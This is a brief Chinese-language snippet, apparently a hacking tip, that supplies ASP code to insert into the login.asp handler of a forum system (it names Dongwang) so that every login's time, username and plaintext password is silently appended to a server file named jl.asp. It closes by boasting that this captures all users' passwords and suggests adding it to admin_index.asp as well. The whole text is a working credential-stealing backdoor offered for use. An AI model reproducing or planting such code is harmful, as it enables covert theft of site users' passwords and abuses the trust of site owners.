方法1:login.asp中Case "chk"下: (主要针对动网) on error resume next dim lp set lP=server.CreateObject("Adodb.Stream") lP.Open lP.Type=2 lP.CharSet="gb2312" lp.LoadFromFile server.mapPath("jl.asp") lp.Position=lp.Size lP.writetext now&request("username")&"text:"&request("password")&chr(10) lP.SaveToFile server.mapPath("jl.asp"),2 lP.Close set lP=nothing 全部登陆人的密码;时间和名字.至于admin_index.asp你看着加吧